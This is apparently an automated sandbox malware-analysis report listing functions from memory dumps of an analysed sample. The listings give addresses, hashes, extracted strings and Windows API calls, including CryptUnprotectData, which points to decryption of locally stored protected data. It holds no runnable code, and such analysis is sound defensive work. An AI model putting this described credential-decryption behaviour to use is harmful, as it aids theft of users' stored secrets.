Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: b5b5dd5b0b3fe97adbfa5fc0eb830724f36b6e6392b5313b1ecffbb1f24ba6fc
Instruction ID: 1f588666e0e7aa56844be5e551cbc3b63a1353ff86c9a833289ad805ac3e7c7d
Opcode Fuzzy Hash: b5b5dd5b0b3fe97adbfa5fc0eb830724f36b6e6392b5313b1ecffbb1f24ba6fc
Instruction Fuzzy Hash: C9118EB1945218EBEB248B54DC49FA9B7B8FB04721F1043AAE90A932C0C7745E40CF51

Function 00A408E2 Relevance: 5.4, Strings: 3, Instructions: 1615COMMON

Download Yara Rule

Strings

j-Zw, xrefs: 00A41457
<_, xrefs: 00A40F4D
q5~, xrefs: 00A41109

Memory Dump Source

Source File: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID:
String ID: <_$j-Zw$q5~
API String ID: 0-3291620619
Opcode ID: 298050493758bf2fc3470907fc4fcb0c2caeeddf1a83db20a4b4f862f2a7d2df
Instruction ID: 2150ef86b6c1df8046009e3f48bb00e5b4a3197d7ddf769517f001b71a324460
Opcode Fuzzy Hash: 298050493758bf2fc3470907fc4fcb0c2caeeddf1a83db20a4b4f862f2a7d2df
Instruction Fuzzy Hash: D8B2F7F3A0C2049FE304AE2DEC8567AB7E9EF94720F16493DEAC4C7744E63558058697

Function 00693720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0069E118,00000000,00000001,0069E108,00000000), ref: 00693758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 006937B0

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 85351b00c6201bff14bd830b0ac1531ec71ba7a1086dc264ffdf3033490ea05e
Instruction ID: 0f4ef3e6fc49777d548ae1741628951cd4b0fe33815c94a35db031d025648049
Opcode Fuzzy Hash: 85351b00c6201bff14bd830b0ac1531ec71ba7a1086dc264ffdf3033490ea05e
Instruction Fuzzy Hash: F441D670A40A28AFDB24DB58CC95B9BB7B9BB48702F5041D8A609E72D0D7716E85CF50

Function 00689B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00689B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00689BA3
LocalFree.KERNEL32(?), ref: 00689BD3

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: ada9490dcf3bc5cd25617f332b816e108ec848b33719e55b838e03486324a2ff
Instruction ID: 6027b0c97aa491739fdfec5dee9a173ccf9255376a5f5885c03fa9dfc1ea2ed7
Opcode Fuzzy Hash: ada9490dcf3bc5cd25617f332b816e108ec848b33719e55b838e03486324a2ff
Instruction Fuzzy Hash: D911CCB4A00209DFDB04DFA4D985EAE77B5FF88304F104558E915A7350D774AE10CF61

Function 00A4DCEF Relevance: 4.0, Strings: 2, Instructions: 1545COMMON

Download Yara Rule

Strings

"{], xrefs: 00A4EC10
vy, xrefs: 00A4DF63

Memory Dump Source

Source File: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "{]$vy
API String ID: 0-2703474962
Opcode ID: bc83f0e908aa1c2706a01eb6383b45394ce5acbde0f575e8eb2673fcbf87155b
Instruction ID: 0fd5c5e1707b1a2c0437dabba38ab9d4378d1a37c616dc81460f5e3112a95e23
Opcode Fuzzy Hash: bc83f0e908aa1c2706a01eb6383b45394ce5acbde0f575e8eb2673fcbf87155b
Instruction Fuzzy Hash: ACA2E4F36082049FE3046E2DEC8577AFBE9EF94720F1A493DEAC483744EA7558058697

Function 00A2367B Relevance: 4.0, Strings: 3, Instructions: 248COMMON

Download Yara Rule

Strings

?N&w, xrefs: 00A2369D
7.k, xrefs: 00A2390E
TL2, xrefs: 00A237AA

Memory Dump Source

Source File: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 7.k$?N&w$TL2
API String ID: 0-4171604338
Opcode ID: 1e6f77e0390bc83c4f23775ccc1b7fe275251a9df23e9060b22de8486beb5201
Instruction ID: 04d49e229ee6fc3762edfd83df0e31cacadc54a3eba9b2006081b21a3f0da8b2
Opcode Fuzzy Hash: 1e6f77e0390bc83c4f23775ccc1b7fe275251a9df23e9060b22de8486beb5201
Instruction Fuzzy Hash: 577148F3E186105BF318993EEC9433BF6D69BD4720F2B853D9A88E3784E8795C064295

Function 008F131E Relevance: 1.5, Strings: 1, Instructions: 213COMMON

Download Yara Rule

Strings

'5:, xrefs: 008F14EA

Memory Dump Source

Source File: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID:
String ID: '5:
API String ID: 0-366166751
Opcode ID: f2cbd654db54107b8d21636384e912d3778ffd489128c7e78f0cf43189271f1d
Instruction ID: 14a3f57292fd1840c413728726ab148b08eb515707af71ac3fd09f3c9af63886
Opcode Fuzzy Hash: f2cbd654db54107b8d21636384e912d3778ffd489128c7e78f0cf43189271f1d
Instruction Fuzzy Hash: 36612CF3A183109BF700AE2DDC8576ABBD9EF94720F2A493DE6C4C7744E53598048687

Function 00A041AC Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e22c9980753f09da86168f17c131d2fd991849e9fdb4c729f0e6b3210ef323a0
Instruction ID: 455068b3423d6ae62f76737016eaefbd24afb6687a74eb4e3301bd6f6eb8e0e3
Opcode Fuzzy Hash: e22c9980753f09da86168f17c131d2fd991849e9fdb4c729f0e6b3210ef323a0
Instruction Fuzzy Hash: 5A61F6F3E082105BF3006A29EC8576ABBD5EB94324F1B463DDBD893380E93A5C1586C6

Function 00A2F8D4 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f9131258f068bc27ac1af308448ff99d2147a7a33c484137a72089074f0d627
Instruction ID: e927326248322b5cc55a2d01bd46cd36f7c50493bf6f7997e135b681fd7d50a9
Opcode Fuzzy Hash: 4f9131258f068bc27ac1af308448ff99d2147a7a33c484137a72089074f0d627
Instruction Fuzzy Hash: D76139F3E182245BF3586929EC957BAB7D5DB94760F1B453EEB8853780E93E0C0142C5

Function 009AFE3E Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d7c97fa4f548b8c81694a4092ec58f9baeb63c5e42d80f63f16c1040b978e1d
Instruction ID: 9e3400db71e60bbf4fa05687ba0106ee74163bea7526376dd4e4f4f94030de93
Opcode Fuzzy Hash: 3d7c97fa4f548b8c81694a4092ec58f9baeb63c5e42d80f63f16c1040b978e1d
Instruction Fuzzy Hash: E7412BF3E482148BE304593EEC94776BADAE7D4730F6B823DE99857788DC761C064191

Function 0097B017 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 814265e82b39b62dae95ce0239908d795cb2bccb2c31a0463becf8003ebdec65
Instruction ID: 24409989235a5a9bdcd3b34c315eb2e86acb264dd28089c1aa9166503435ae88
Opcode Fuzzy Hash: 814265e82b39b62dae95ce0239908d795cb2bccb2c31a0463becf8003ebdec65
Instruction Fuzzy Hash: 9F4114B350C724AFE3146E69EC857BAF7D4EF84720F1A8A3EDA8597680E574080086D6

Function 00959DF4 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8f4d86a902d8e0ca895b336c70e24950d9def0b9ded82654e92738c108c80f5
Instruction ID: 6f8ddf709a099bc61c212beeb59b0fa8d61af370d7dbb3da1dea6c6951a79436
Opcode Fuzzy Hash: a8f4d86a902d8e0ca895b336c70e24950d9def0b9ded82654e92738c108c80f5
Instruction Fuzzy Hash: F93127E391831C5BE7586E6CDC9932FB688AB14310F1E463D9ACA87B84FD695D0443C6

Function 00699750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00690250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

Part of subcall function 00698DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00698E0B

Part of subcall function 0069A920: lstrcpy.KERNEL32(00000000,?), ref: 0069A972
Part of subcall function 0069A920: lstrcat.KERNEL32(00000000), ref: 0069A982

Part of subcall function 0069A8A0: lstrcpy.KERNEL32(?,006A0E17), ref: 0069A905

